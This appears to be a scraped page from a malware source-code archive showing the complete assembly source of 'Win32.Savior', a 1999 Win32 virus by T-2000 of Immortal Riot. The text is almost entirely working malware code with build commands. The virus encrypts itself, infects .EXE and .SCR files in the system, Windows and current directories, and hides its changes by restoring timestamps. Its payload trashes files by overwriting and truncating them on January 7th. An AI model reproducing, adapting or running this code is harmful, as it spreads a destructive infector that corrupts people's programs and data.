mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 19:36:11 +00:00
1034 lines
31 KiB
NASM
1034 lines
31 KiB
NASM
;============================================================================
|
|
;
|
|
;
|
|
; NAME: Win32.Savior v1.00
|
|
; TYPE: Direct-action variable encrypting PE-infector.
|
|
; SIZE: Around 1850 bytes.
|
|
; AUTHOR: T-2000 / [Immortal Riot].
|
|
; E-MAIL: T2000_@hotmail.com
|
|
; DATE: February 1999.
|
|
; PAYLOAD: File-trashing on January 7th.
|
|
;
|
|
;
|
|
; CAPABILITIES:
|
|
;
|
|
; - True Win32-compatible (Win-95/NT).
|
|
; - Variable encrypting (32-bit key).
|
|
; - Traps possible errors with a SEH.
|
|
; - Infects files in Windoze + System-directory.
|
|
; - Destructive payload.
|
|
;
|
|
;
|
|
; As for now only the host's import-table is being searched for GetModule-
|
|
; HandleA/W and GetProcAddress, this method is fully Win32-compatible though
|
|
; won't work if the mentioned API's aren't imported. This virus has been
|
|
; succesfully tested both under Windows-95 and Windows-NT version 4.0.
|
|
;
|
|
;
|
|
; Dedicated to a painful death on January 7th 1999, you know who you are...
|
|
;
|
|
;
|
|
; Assemble with: TASM32 SAVIOR.ASM /m /ml
|
|
; TLINK32 SAVIOR.OBJ IMPORT32.LIB
|
|
; PEWRSEC SAVIOR.EXE
|
|
;
|
|
;============================================================================
|
|
|
|
|
|
.386
|
|
.MODEL FLAT
|
|
.CODE
|
|
|
|
ORG 0
|
|
|
|
|
|
EXTRN GetModuleHandleA:PROC ; Hosts need to import these for
|
|
EXTRN GetProcAddress:PROC ; the virus to be able to spread.
|
|
|
|
EXTRN ExitProcess:PROC ; Only used by the carrier.
|
|
|
|
|
|
Debug_Mode = 0 ; If true, no destruction occurs
|
|
; and only DUM?.* are infected.
|
|
; - Switch off for distribution! -
|
|
|
|
Virus_Size EQU (Virus_End-START)
|
|
Virus_Size_Mem EQU (Virus_End_Mem-START)
|
|
Max_Infect EQU 3
|
|
Min_Size_Infect EQU 4096
|
|
Marker_File EQU 666h
|
|
|
|
|
|
START:
|
|
PUSH EAX ; Reserve room for EIP.
|
|
|
|
PUSHFD ; Save registers & flags.
|
|
PUSHAD
|
|
|
|
CALL Get_Delta ; Get our location in memory.
|
|
|
|
Anti_Moron DB 9Ah ; Overlapping code, anti BP.
|
|
|
|
Get_Delta: POP EBP
|
|
SUB EBP, (Anti_Moron-START)
|
|
|
|
MOV EAX, 0
|
|
Init_Key = DWORD PTR $-4
|
|
|
|
MOV EBX, 0
|
|
Init_Slide = DWORD PTR $-4
|
|
|
|
MOV ECX, (Virus_End-Encrypted) / 4
|
|
|
|
PUSH EBP
|
|
|
|
Decrypt_DWORD: XOR [EBP+(Virus_Size-4)], EAX
|
|
|
|
SUB EBP, 4
|
|
|
|
ADD EAX, EBX ; Slide decryption-key.
|
|
|
|
RCL EBX, 1 ; Slide key-slider.
|
|
|
|
LOOP Decrypt_DWORD
|
|
|
|
POP EBP
|
|
|
|
IF (($-START) MOD 4) GT 0
|
|
DB (4 - (($-START) MOD 4)) DUP(90h)
|
|
ENDIF
|
|
|
|
Encrypted: MOV EAX, EBP
|
|
|
|
SUB EAX, 1000h ; Calculate image-base.
|
|
Base_Displ = DWORD PTR $-4
|
|
|
|
LEA EBX, [EAX+((Carrier-START)+1000h)]
|
|
Old_EIP_RVA = DWORD PTR $-4
|
|
|
|
MOV [ESP+(9*4)], EBX ; Set address host in stack.
|
|
|
|
CALL Setup_SEH ; PUSH SEH-address on stack.
|
|
|
|
IF Debug_Mode
|
|
|
|
MOV EAX, 1 ; Unhandled exception.
|
|
|
|
RET
|
|
|
|
ELSE
|
|
|
|
%OUT [WARNiNG]: NoN-DeBuG-MoDe!!
|
|
|
|
ENDIF
|
|
|
|
MOV ESP, [ESP+8] ; Restore original stack.
|
|
|
|
JMP Restore_SEH ; Terminate program-flow.
|
|
|
|
Setup_SEH: PUSH DWORD PTR FS:[ECX] ; Save original SEH-pointer.
|
|
MOV FS:[ECX], ESP ; Set our own SEH.
|
|
|
|
MOV EBX, [EAX+3Ch] ; PE-header.
|
|
ADD EBX, EAX
|
|
|
|
MOV EBX, [EBX+128] ; Import-directory.
|
|
ADD EBX, EAX
|
|
|
|
Find_K32_Dir: CMP [EBX], ECX ; Reached end of imports?
|
|
JZ JMP_Rest_SEH
|
|
|
|
MOV EDI, [EBX+(3*4)] ; Get module-name.
|
|
ADD EDI, EAX
|
|
|
|
CMP [EDI], 'NREK' ; Is it KERNEL32.DLL ?
|
|
JNE Go_Next_Dir
|
|
|
|
CMP [EDI+4], '23LE'
|
|
JE Search_Entries
|
|
|
|
Go_Next_Dir: ADD EBX, (5*4) ; Go to next directory.
|
|
|
|
JMP Find_K32_Dir
|
|
|
|
Search_Entries: PUSH EBX
|
|
|
|
MOV EBX, [EBX] ; Array of RVA's.
|
|
ADD EBX, EAX
|
|
|
|
XOR EDX, EDX
|
|
|
|
MOV ESI, 1 ; Initialize 'not found'.
|
|
MOV EDI, ESI
|
|
|
|
Search_Import: MOV ECX, [EBX+EDX] ; Reached end of array?
|
|
JECXZ End_Imports
|
|
|
|
ADD ECX, EAX ; Add base.
|
|
|
|
Look_4_GetMod: PUSHAD ; GetModuleHandleA/W ?
|
|
|
|
LEA ESI, [ECX+2]
|
|
LEA EDI, [EBP+(Name_GetModuleHandleX-START)]
|
|
MOV ECX, 15
|
|
CLD
|
|
REPE CMPSB
|
|
JNE Exit_Search_GM
|
|
|
|
PUSHF
|
|
|
|
MOV AL, (Get_Module-Unicode_Switch) - 1
|
|
|
|
CMP BYTE PTR [ESI], 'W' ; Unicode type?
|
|
JNE Store_Switch_W
|
|
|
|
XOR AL, AL
|
|
|
|
Store_Switch_W: MOV [EBP+(Unicode_Switch-START)], AL
|
|
|
|
POPF
|
|
|
|
Exit_Search_GM: POPAD
|
|
|
|
JNE Look_4_GetProc
|
|
|
|
MOV ESI, EDX
|
|
|
|
Look_4_GetProc: PUSHAD ; GetProcAddress ?
|
|
|
|
LEA ESI, [ECX+2]
|
|
LEA EDI, [EBP+(Name_GetProcAddress-START)]
|
|
MOV ECX, 15
|
|
REPE CMPSB
|
|
|
|
POPAD
|
|
|
|
JNE Go_Next_Entry
|
|
|
|
MOV EDI, EDX
|
|
|
|
Go_Next_Entry: ADD EDX, 4 ; Next RVA in the array.
|
|
|
|
JMP Search_Import
|
|
|
|
End_Imports: POP EBX
|
|
|
|
MOV EBX, [EBX+(4*4)]
|
|
ADD EBX, EAX
|
|
|
|
; Store assumed GetModuleHandle(A/W)-address.
|
|
|
|
PUSH DWORD PTR [EBX+ESI]
|
|
POP DWORD PTR [EBP+(GetModuleHandleX-START)]
|
|
|
|
; Store assumed GetProcAddress(A/W)-address.
|
|
|
|
PUSH DWORD PTR [EBX+EDI]
|
|
POP DWORD PTR [EBP+(GetProcAddressX-START)]
|
|
|
|
DEC ESI ; GetModuleHandle(A/W) found?
|
|
JZ JMP_Rest_SEH
|
|
|
|
DEC EDI ; GetProcAddress(A/W) found?
|
|
JNZ Init_API
|
|
|
|
JMP_Rest_SEH: JMP Restore_SEH ; Abort all.
|
|
|
|
Init_API: LEA ESI, [EBP+(API_Names-START)]
|
|
LEA EDI, [EBP+(API_Addresses-START)]
|
|
|
|
Setup_Module: PUSH ESI
|
|
|
|
JMP $ ; Use Ansi or Unicode ?
|
|
Unicode_Switch = BYTE PTR $-1
|
|
|
|
ADD ESI, 9 ; Use Unicode equivalent.
|
|
|
|
Get_Module: PUSH ESI
|
|
CALL [EBP+(GetModuleHandleX-START)]
|
|
|
|
POP ESI
|
|
|
|
OR EAX, EAX ; Terminate when not found.
|
|
JZ JMP_Rest_SEH
|
|
|
|
XCHG EBX, EAX ; Save module-base in EBX.
|
|
|
|
ADD ESI, (3*9) ; Start named functions.
|
|
|
|
Loop_Get_API: PUSH ESI ; Retrieve API-address of
|
|
PUSH EBX ; named function.
|
|
CALL [EBP+(GetProcAddressX-START)]
|
|
|
|
CLD ; Store API-address.
|
|
STOSD
|
|
|
|
XCHG ECX, EAX ; API not found?
|
|
JECXZ JMP_Rest_SEH
|
|
|
|
Find_Next_API: LODSB
|
|
|
|
OR AL, AL ; Found end of API-name?
|
|
JNZ Find_Next_API
|
|
|
|
CMP [ESI], AL ; This is the end of module?
|
|
JNZ Loop_Get_API
|
|
|
|
LODSB
|
|
|
|
CMP [ESI], AL ; End of whole table?
|
|
JNZ Setup_Module
|
|
|
|
; Get local date & time.
|
|
|
|
LEA EBX, [EBP+(Local_Time-START)]
|
|
PUSH EBX
|
|
CALL [EBP+(GetLocalTime-START)]
|
|
|
|
MOV AL, (Read_Header-Trash_Switch) - 1
|
|
|
|
; Is it time to say goodbye?
|
|
|
|
CMP BYTE PTR [EBX.Current_Month], 1
|
|
JNE Start_Infect
|
|
|
|
CMP BYTE PTR [EBX.Current_Day], 7
|
|
JNE Start_Infect
|
|
|
|
XOR AL, AL
|
|
|
|
Start_Infect: MOV [EBP+(Trash_Switch-START)], AL
|
|
|
|
LEA ESI, [EBP+(Current_Directory-START)]
|
|
MOV EBX, 260
|
|
|
|
PUSH ESI
|
|
|
|
PUSH ESI ; Retrieve current path.
|
|
PUSH EBX
|
|
CALL [EBP+(GetCurrentDirectoryA-START)]
|
|
|
|
ADD ESI, EBX
|
|
|
|
PUSH ESI
|
|
|
|
PUSH EBX ; Retrieve Windoze-directory.
|
|
PUSH ESI
|
|
CALL [EBP+(GetWindowsDirectoryA-START)]
|
|
|
|
ADD ESI, EBX
|
|
|
|
PUSH ESI
|
|
|
|
PUSH EBX ; Retrieve System-directory.
|
|
PUSH ESI
|
|
CALL [EBP+(GetSystemDirectoryA-START)]
|
|
|
|
; Infect files in System-directory.
|
|
|
|
CALL [EBP+(SetCurrentDirectoryA-START)]
|
|
CALL Infect_Directory
|
|
|
|
; Infect files in Windoze-directory.
|
|
|
|
CALL [EBP+(SetCurrentDirectoryA-START)]
|
|
CALL Infect_Directory
|
|
|
|
; Infect files in current-directory.
|
|
|
|
CALL [EBP+(SetCurrentDirectoryA-START)]
|
|
CALL Infect_Directory
|
|
|
|
; Display the you-are-fucked-window?
|
|
|
|
CMP BYTE PTR [EBP+(Trash_Switch-START)], 0
|
|
JNZ Restore_SEH
|
|
|
|
; Display an OK-box with a message.
|
|
|
|
PUSH 0
|
|
LEA EAX, [EBP+(Payload_Title-START)]
|
|
PUSH EAX
|
|
LEA EAX, [EBP+(Payload_Text-START)]
|
|
PUSH EAX
|
|
PUSH 0
|
|
CALL [EBP+(MessageBoxA-START)]
|
|
|
|
Restore_SEH: POP DWORD PTR FS:[0] ; Restore original SEH.
|
|
POP EAX ; Trash handler-address.
|
|
|
|
Execute_Host: POPAD ; Restore registers & flags.
|
|
POPFD
|
|
|
|
RET ; RETurn to our host.
|
|
|
|
|
|
Payload_Title DB '.....', 0 ; Silence means death...
|
|
|
|
Payload_Text DB 'A HUM4N G0D THA7 WAS MAN-M4DE', 0Dh
|
|
DB 'WH3RE 1S Y0UR SAViOR N0W?!', 0
|
|
|
|
|
|
Infect_Directory:
|
|
|
|
PUSHAD
|
|
|
|
; Clear infection-counter.
|
|
|
|
AND BYTE PTR [EBP+(Infect_Counter-START)], 0
|
|
|
|
LEA EAX, [EBP+(Search_Record-START)]
|
|
PUSH EAX
|
|
LEA EAX, [EBP+(Search_Mask-START)]
|
|
PUSH EAX
|
|
CALL [EBP+(FindFirstFileA-START)]
|
|
|
|
MOV ESI, EAX ; Save search-handle in ESI.
|
|
|
|
INC EAX
|
|
JZ Exit_Inf_Dir
|
|
|
|
Infect_Loop: PUSHAD
|
|
|
|
LEA EBX, [EBP+(Search_Record.Find_File_Name-START)]
|
|
|
|
CMP BYTE PTR [EBP+(Trash_Switch-START)], 0
|
|
JZ Extension_OK
|
|
|
|
MOV ESI, EBX
|
|
|
|
Find_End_Name: LODSB ; Get next byte of filename.
|
|
|
|
OR AL, AL ; Found end of the ASCIIZ ?
|
|
JNZ Find_End_Name
|
|
|
|
MOV EAX, [ESI-5] ; Get extension DWORD.
|
|
CALL Upcase_EAX
|
|
|
|
CMP EAX, 'EXE.' ; Standard .EXE-file?
|
|
JE Extension_OK
|
|
|
|
CMP EAX, 'RCS.' ; Screensaver?
|
|
JNE Exit_Infect
|
|
|
|
Extension_OK: PUSH EBX
|
|
CALL [EBP+(GetFileAttributesA-START)]
|
|
|
|
CMP EAX, -1 ; Error occurred?
|
|
JE Exit_Infect
|
|
|
|
MOV ESI, EAX
|
|
|
|
AND AL, NOT 00000001b ; Get rid of readonly-flag.
|
|
|
|
PUSH EAX
|
|
PUSH EBX
|
|
CALL [EBP+(SetFileAttributesA-START)]
|
|
|
|
DEC EAX ; Error occurred?
|
|
JNZ Exit_Infect
|
|
|
|
PUSH ESI ; PUSH filename + attributes
|
|
PUSH EBX ; for Restore_Attr.
|
|
|
|
PUSH EAX ; Open candidate-file.
|
|
PUSH EAX
|
|
PUSH 3 ; Open existing.
|
|
PUSH EAX
|
|
PUSH EAX
|
|
PUSH 80000000h OR 40000000h ; Read/write-access.
|
|
PUSH EBX
|
|
CALL [EBP+(CreateFileA-START)]
|
|
|
|
MOV [EBP+(File_Handle-START)], EAX
|
|
|
|
MOV ESI, EAX
|
|
|
|
INC EAX ; Error occurred?
|
|
JZ Restore_Attr
|
|
|
|
PUSH ESI ; For CloseHandle.
|
|
|
|
PUSH 0 ; Get candidate's filesize.
|
|
PUSH ESI
|
|
CALL [EBP+(GetFileSize-START)]
|
|
|
|
CMP EAX, Min_Size_Infect ; File too small?
|
|
JB Close_Handle
|
|
|
|
LEA EAX, [EBP+(Time_Last_Write-START)]
|
|
|
|
PUSH EAX ; Get filedates & times.
|
|
SUB EAX, 8
|
|
PUSH EAX
|
|
SUB EAX, 8
|
|
PUSH EAX
|
|
PUSH ESI
|
|
CALL [EBP+(GetFileTime-START)]
|
|
|
|
JMP $
|
|
Trash_Switch = BYTE PTR $-1
|
|
|
|
IF Debug_Mode
|
|
|
|
JMP Close_Handle
|
|
|
|
ENDIF
|
|
; Trash file with a part of the virus.
|
|
|
|
MOV ECX, 666
|
|
MOV EDX, EBP
|
|
CALL Write_File
|
|
|
|
; Truncate file at 666 bytes.
|
|
|
|
PUSH ESI
|
|
CALL [EBP+(SetEndOfFile-START)]
|
|
|
|
JMP Restore_Stamp
|
|
|
|
; Read the MZ-header.
|
|
|
|
Read_Header: LEA EBX, [EBP+(Header-START)]
|
|
MOV ECX, 40h
|
|
CALL Read_File
|
|
JNZ Close_Handle
|
|
|
|
CMP [EBX.EXE_Mark], 'ZM' ; It must be a true EXE-file.
|
|
JNE Close_Handle
|
|
|
|
CMP [EBX.Reloc_Table], 40h ; Contains a new EXE-header?
|
|
JB Close_Handle
|
|
|
|
MOV ESI, [EBX+3Ch]
|
|
|
|
MOV EAX, ESI ; Seek to PE-header.
|
|
CALL Seek_File
|
|
JZ Close_Handle
|
|
|
|
MOV ECX, 92 ; Read-in the PE-header.
|
|
CALL Read_File
|
|
JNZ Close_Handle
|
|
|
|
CMP [EBX.PE_Mark], 'EP' ; Verify it's a PE-header.
|
|
JNE Close_Handle
|
|
|
|
; Program is executable?
|
|
|
|
TEST BYTE PTR [EBX.PE_Flags], 00000010b
|
|
JZ Close_Handle
|
|
|
|
; Don't infect DLL's.
|
|
|
|
TEST BYTE PTR [EBX.PE_Flags+1], 00100000b
|
|
JNZ Close_Handle
|
|
|
|
CMP [EBX.CPU_Type], 14Ch ; Must be a 386+ file.
|
|
JNE Close_Handle
|
|
|
|
; Is it already infected?
|
|
|
|
CMP [EBX.Checksum], Marker_File
|
|
JE Close_Handle
|
|
|
|
PUSH ESI
|
|
|
|
; Calculate position of the last section-header.
|
|
|
|
MOVZX EAX, [EBX.Number_Of_Sections]
|
|
DEC AX
|
|
MOV ECX, 40
|
|
MUL ECX
|
|
|
|
; Calculate size of PE-header.
|
|
|
|
MOV DX, [EBX.NT_Header_Size]
|
|
ADD DX, 24
|
|
|
|
LEA ECX, [ESI+EDX] ; Start section-headers.
|
|
|
|
ADD EAX, ECX ; EAX = last section-header.
|
|
|
|
PUSH EAX
|
|
|
|
; Seek to last section-header.
|
|
|
|
CALL Seek_File
|
|
|
|
LEA ESI, [EBP+(Last_Section_Header-START)]
|
|
|
|
PUSH EBX
|
|
|
|
MOV EBX, ESI ; Read last section-header.
|
|
MOV ECX, 40
|
|
CALL Read_File
|
|
|
|
POP EBX
|
|
|
|
MOV EAX, [ESI.Section_RVA]
|
|
ADD EAX, [ESI.Section_Physical_Size]
|
|
|
|
MOV [EBP+(Base_Displ-START)], EAX
|
|
|
|
XCHG [EBX.EIP_RVA], EAX
|
|
MOV [EBP+(Old_EIP_RVA-START)], EAX
|
|
|
|
; Seek to the end of the section.
|
|
|
|
MOV EAX, [ESI.Section_Physical_Offset]
|
|
ADD EAX, [ESI.Section_Physical_Size]
|
|
CALL Seek_File
|
|
|
|
MOV EAX, [ESI.Section_Physical_Size]
|
|
ADD EAX, Virus_Size
|
|
MOV ECX, [EBX.File_Align]
|
|
CALL Align_EAX
|
|
|
|
MOV [ESI.Section_Physical_Size], EAX
|
|
|
|
XCHG EDI, EAX ; Save physical-size in EDI.
|
|
|
|
MOV EAX, [ESI.Section_Virtual_Size]
|
|
ADD EAX, Virus_Size_Mem - 1
|
|
MOV ECX, [EBX.Object_Align]
|
|
|
|
Calc_Mem_Size: INC EAX
|
|
CALL Align_EAX
|
|
|
|
CMP EAX, EDI ; Virtual-size may not be
|
|
JB Calc_Mem_Size ; smaller than physical-size.
|
|
|
|
MOV [ESI.Section_Virtual_Size], EAX
|
|
|
|
ADD EAX, [ESI.Section_RVA]
|
|
MOV ECX, [EBX.Object_Align]
|
|
CALL Align_EAX
|
|
|
|
MOV [EBX.Image_Size], EAX
|
|
|
|
; Set section-flags: read, write, executable, code.
|
|
|
|
OR [ESI.Section_Flags], 11100000000000000000000000100000b
|
|
|
|
LEA EDI, [EBP+(Buffer-START)]
|
|
|
|
PUSHAD
|
|
|
|
; Get a random slide-key.
|
|
|
|
CALL [EBP+(GetTickCount-START)]
|
|
|
|
MOV [EBP+(Init_Slide-START)], EAX
|
|
|
|
XCHG EBX, EAX
|
|
|
|
; Get a random encryption-key.
|
|
|
|
CALL [EBP+(GetTickCount-START)]
|
|
|
|
MOV [EBP+(Init_Key-START)], EAX
|
|
|
|
MOV ESI, EBP
|
|
MOV ECX, (Virus_Size / 2)
|
|
CLD
|
|
REP MOVSW ; MOVSD takes one more byte,
|
|
; gotta be compact you know.
|
|
|
|
MOV ECX, (Virus_End-Encrypted) / 4
|
|
|
|
Encrypt_DWORD: XOR [EDI-4], EAX
|
|
|
|
SUB EDI, 4
|
|
|
|
ADD EAX, EBX
|
|
|
|
RCL EBX, 1
|
|
|
|
LOOP Encrypt_DWORD
|
|
|
|
POPAD
|
|
|
|
MOV EDX, EDI ; Write virusbody to end
|
|
MOV ECX, Virus_Size ; of the last section.
|
|
CALL Write_File
|
|
|
|
POP EAX ; Offset last object-header.
|
|
CALL Seek_File
|
|
|
|
; Write updated section-header back to file.
|
|
|
|
MOV ECX, 40
|
|
LEA EDX, [EBP+(Last_Section_Header-START)]
|
|
CALL Write_File
|
|
|
|
; Seek to end of file.
|
|
|
|
PUSH 2
|
|
PUSH EAX
|
|
PUSH EAX
|
|
PUSH DWORD PTR [EBP+(File_Handle-START)]
|
|
CALL [EBP+(SetFilePointer-START)]
|
|
|
|
XOR EDX, EDX ; Zero-pad the infected file.
|
|
MOV EDI, [EBX.File_Align]
|
|
DIV EDI
|
|
|
|
OR EDX, EDX ; File is already aligned?
|
|
JZ Mark_Inf_File
|
|
|
|
SUB EDI, EDX ; Howmany bytes to pad?
|
|
|
|
Zero_Pad: MOV ECX, 1 ; Write a padding-byte.
|
|
LEA EDX, [EBP+(Zero_Tolerance-START)]
|
|
CALL Write_File
|
|
|
|
DEC EDI ; We've did 'em all?
|
|
JNZ Zero_Pad
|
|
|
|
Mark_Inf_File: MOV [EBX.Checksum], Marker_File
|
|
|
|
POP EAX ; Seek to start of PE-header.
|
|
CALL Seek_File
|
|
|
|
MOV ECX, 92 ; Write updated PE-header.
|
|
MOV EDX, EBX
|
|
CALL Write_File
|
|
|
|
; Increment our infection-counter.
|
|
|
|
INC BYTE PTR [EBP+(Infect_Counter-START)]
|
|
|
|
; Restore original file-dates & times.
|
|
|
|
Restore_Stamp: LEA EAX, [EBP+(Time_Last_Write-START)]
|
|
PUSH EAX
|
|
SUB EAX, 8
|
|
PUSH EAX
|
|
SUB EAX, 8
|
|
PUSH EAX
|
|
PUSH DWORD PTR [EBP+(File_Handle-START)]
|
|
CALL [EBP+(SetFileTime-START)]
|
|
|
|
Close_Handle: CALL [EBP+(CloseHandle-START)]
|
|
|
|
Restore_Attr: CALL [EBP+(SetFileAttributesA-START)]
|
|
|
|
Exit_Infect: POPAD
|
|
|
|
; We've did enough infections?
|
|
|
|
CMP BYTE PTR [EBP+(Infect_Counter-START)], Max_Infect
|
|
JNB Close_Find
|
|
|
|
; Find another file.
|
|
|
|
LEA EAX, [EBP+(Search_Record-START)]
|
|
PUSH EAX
|
|
PUSH ESI
|
|
CALL [EBP+(FindNextFileA-START)]
|
|
|
|
DEC EAX ; Continue if search went OK.
|
|
JZ Infect_Loop
|
|
|
|
Close_Find: PUSH ESI ; Close search-handle.
|
|
CALL [EBP+(FindClose-START)]
|
|
|
|
Exit_Inf_Dir: POPAD
|
|
|
|
RET
|
|
|
|
|
|
; EAX = Offset.
|
|
; Returns ZF if error.
|
|
Seek_File:
|
|
PUSH 0
|
|
PUSH 0
|
|
PUSH EAX
|
|
PUSH DWORD PTR [EBP+(File_Handle-START)]
|
|
CALL [EBP+(SetFilePointer-START)]
|
|
|
|
INC EAX
|
|
|
|
RET
|
|
|
|
|
|
; EBX = Buffer.
|
|
; ECX = Bytes to read.
|
|
; Returns ZF if successful.
|
|
Read_File:
|
|
PUSH 0
|
|
LEA EAX, [EBP+(Bytes_Read-START)]
|
|
PUSH EAX
|
|
PUSH ECX
|
|
PUSH EBX
|
|
PUSH DWORD PTR [EBP+(File_Handle-START)]
|
|
CALL [EBP+(ReadFile-START)]
|
|
|
|
DEC EAX
|
|
|
|
RET
|
|
|
|
|
|
; ECX = Amount of bytes.
|
|
; EDX = Buffer.
|
|
; Returns ZF if successful.
|
|
Write_File:
|
|
PUSH 0
|
|
LEA EAX, [EBP+(Bytes_Read-START)]
|
|
PUSH EAX
|
|
PUSH ECX
|
|
PUSH EDX
|
|
PUSH 12345678h
|
|
File_Handle = DWORD PTR $-4
|
|
CALL [EBP+(WriteFile-START)]
|
|
|
|
DEC EAX
|
|
|
|
RET
|
|
|
|
|
|
Align_EAX:
|
|
XOR EDX, EDX
|
|
DIV ECX
|
|
|
|
OR EDX, EDX ; Even division?
|
|
JZ No_Round ; Then no need to round-up.
|
|
|
|
INC EAX ; Round-up.
|
|
|
|
No_Round: MUL ECX
|
|
|
|
RET
|
|
|
|
|
|
Copyright DB '(c) 1999 T-2000 / Immortal Riot.', 0
|
|
|
|
|
|
Upcase_EAX:
|
|
ROL EAX, 8
|
|
CALL Upcase_AL
|
|
|
|
ROL EAX, 8
|
|
CALL Upcase_AL
|
|
|
|
ROL EAX, 8
|
|
CALL Upcase_AL
|
|
|
|
ROL EAX, 8
|
|
|
|
Upcase_AL: CMP AL, 'a'
|
|
JB Exit_Upcase_AL
|
|
|
|
CMP AL, 'z'
|
|
JA Exit_Upcase_AL
|
|
|
|
SUB AL, 'a' - 'A'
|
|
|
|
Exit_Upcase_AL: RET
|
|
|
|
|
|
IF Debug_Mode
|
|
|
|
Search_Mask DB 'DUM?.*', 0
|
|
|
|
ELSE
|
|
|
|
Search_Mask DB '*.*', 0
|
|
|
|
ENDIF
|
|
|
|
|
|
API_Names:
|
|
DB 'KERNEL32', 0
|
|
DW 'K', 'E', 'R', 'N', 'E', 'L', '3', '2', 0
|
|
DB 'CreateFileA', 0
|
|
DB 'CloseHandle', 0
|
|
DB 'SetFilePointer', 0
|
|
DB 'ReadFile', 0
|
|
DB 'WriteFile', 0
|
|
DB 'GetFileSize', 0
|
|
DB 'FindFirstFileA', 0
|
|
DB 'FindNextFileA', 0
|
|
DB 'FindClose', 0
|
|
DB 'GetFileTime', 0
|
|
DB 'SetFileTime', 0
|
|
DB 'GetFileAttributesA', 0
|
|
DB 'SetFileAttributesA', 0
|
|
DB 'GetLocalTime', 0
|
|
DB 'SetEndOfFile', 0
|
|
DB 'GetCurrentDirectoryA', 0
|
|
DB 'SetCurrentDirectoryA', 0
|
|
DB 'GetWindowsDirectoryA', 0
|
|
DB 'GetSystemDirectoryA', 0
|
|
DB 'GetTickCount', 0
|
|
DB 0
|
|
|
|
DB 'USER32', 0, 0, 0
|
|
DW 'U', 'S', 'E', 'R', '3', '2', 0, 0, 0
|
|
|
|
DB 'MessageBoxA', 0
|
|
DB 0
|
|
|
|
Zero_Tolerance DB 0
|
|
|
|
|
|
Name_GetProcAddress DB 'GetProcAddress', 0
|
|
Name_GetModuleHandleX DB 'GetModuleHandle'
|
|
|
|
|
|
IF (($-START) MOD 4) GT 0
|
|
DB (4 - (($-START) MOD 4)) DUP(0)
|
|
ENDIF
|
|
|
|
Virus_End:
|
|
|
|
|
|
API_Addresses:
|
|
|
|
; === API's from KERNEL32.DLL. ===
|
|
|
|
CreateFileA DD 0
|
|
CloseHandle DD 0
|
|
SetFilePointer DD 0
|
|
ReadFile DD 0
|
|
WriteFile DD 0
|
|
GetFileSize DD 0
|
|
FindFirstFileA DD 0
|
|
FindNextFileA DD 0
|
|
FindClose DD 0
|
|
GetFileTime DD 0
|
|
SetFileTime DD 0
|
|
GetFileAttributesA DD 0
|
|
SetFileAttributesA DD 0
|
|
GetLocalTime DD 0
|
|
SetEndOfFile DD 0
|
|
GetCurrentDirectoryA DD 0
|
|
SetCurrentDirectoryA DD 0
|
|
GetWindowsDirectoryA DD 0
|
|
GetSystemDirectoryA DD 0
|
|
GetTickCount DD 0
|
|
|
|
; === API's from USER32.DLL. ===
|
|
|
|
MessageBoxA DD 0
|
|
|
|
|
|
GetModuleHandleX DD 0 ; These are being fetched
|
|
GetProcAddressX DD 0 ; from the host's import.
|
|
|
|
Local_Time DW 8 DUP(0)
|
|
|
|
Time_Creation DD 0, 0
|
|
Time_Last_Access DD 0, 0
|
|
Time_Last_Write DD 0, 0
|
|
|
|
Infect_Counter DB 0
|
|
Bytes_Read DD 0
|
|
Header DB 92 DUP(0)
|
|
Last_Section_Header DB 40 DUP(0)
|
|
Search_Record DB 318 DUP(0)
|
|
|
|
Current_Directory DB 260 DUP(0)
|
|
Windows_Directory DB 260 DUP(0)
|
|
System_Directory DB 260 DUP(0)
|
|
|
|
Buffer DB Virus_Size DUP(0)
|
|
|
|
Virus_End_Mem:
|
|
|
|
|
|
Carrier:
|
|
PUSH 0 ; Terminate current process.
|
|
CALL ExitProcess
|
|
|
|
|
|
;---------------------- SOME USED STRUCTURES --------------------------------
|
|
|
|
|
|
EXE_Header STRUC
|
|
EXE_Mark DW 0 ; MZ-marker (MZ or ZM).
|
|
Image_Mod_512 DW 0
|
|
Image_512_Pages DW 0
|
|
Reloc_Items DW 0
|
|
Header_Size_Mem DW 0
|
|
Min_Size_Mem DW 0
|
|
Max_Size_Mem DW 0
|
|
Program_SS DW 0
|
|
Program_SP DW 0
|
|
MZ_Checksum DW 0
|
|
Program_IP DW 0
|
|
Program_CS DW 0
|
|
Reloc_Table DW 0
|
|
EXE_Header ENDS
|
|
|
|
|
|
PE_Header STRUC
|
|
PE_Mark DD 0 ; PE-marker (PE/0/0).
|
|
CPU_Type DW 0 ; Minimal CPU required.
|
|
Number_Of_Sections DW 0 ; Number of sections in PE.
|
|
DD 0
|
|
Reserved_1 DD 0
|
|
DD 0
|
|
NT_Header_Size DW 0
|
|
PE_Flags DW 0
|
|
DD 4 DUP(0)
|
|
EIP_RVA DD 0
|
|
DD 2 DUP(0)
|
|
Image_Base DD 0
|
|
Object_Align DD 0
|
|
File_Align DD 0
|
|
DW 0, 0
|
|
DW 0, 0
|
|
DW 0, 0
|
|
DD 0
|
|
Image_Size DD 0
|
|
DD 0
|
|
Checksum DD 0
|
|
PE_Header ENDS
|
|
|
|
|
|
Section_Header STRUC
|
|
Section_Name DB 8 DUP(0) ; Zero-padded section-name.
|
|
Section_Virtual_Size DD 0 ; Memory-size of section.
|
|
Section_RVA DD 0 ; Start section in memory.
|
|
Section_Physical_Size DD 0 ; Section-size in file.
|
|
Section_Physical_Offset DD 0 ; Section file-offset.
|
|
Section_Reserved_1 DD 0 ; Not used for executables.
|
|
Section_Reserved_2 DD 0 ; Not used for executables.
|
|
Section_Reserved_3 DD 0 ; Not used for executables.
|
|
Section_Flags DD 0 ; Flags of the section.
|
|
Section_Header ENDS
|
|
|
|
|
|
Find_First_Next_Win32 STRUC
|
|
File_Attributes DD 0
|
|
Creation_Time DD 0, 0
|
|
Last_Accessed_Time DD 0, 0
|
|
Last_Written_Time DD 0, 0
|
|
Find_File_Size_High DD 0
|
|
Find_File_Size_Low DD 0
|
|
Find_Reserved_1 DD 0
|
|
Find_Reserved_2 DD 0
|
|
Find_File_Name DB 260 DUP(0)
|
|
Find_DOS_File_Name DB 14 DUP(0)
|
|
Find_First_Next_Win32 ENDS
|
|
|
|
|
|
Date_Time STRUC
|
|
Current_Year DW 0
|
|
Current_Month DW 0
|
|
Current_Day_Of_Week DW 0
|
|
Current_Day DW 0
|
|
Current_Hour DW 0
|
|
Current_Minute DW 0
|
|
Current_Second DW 0
|
|
Current_Millisecond DW 0
|
|
Date_Time ENDS
|
|
|
|
END START
|
|
|
|
|
|
|
|
|
|
|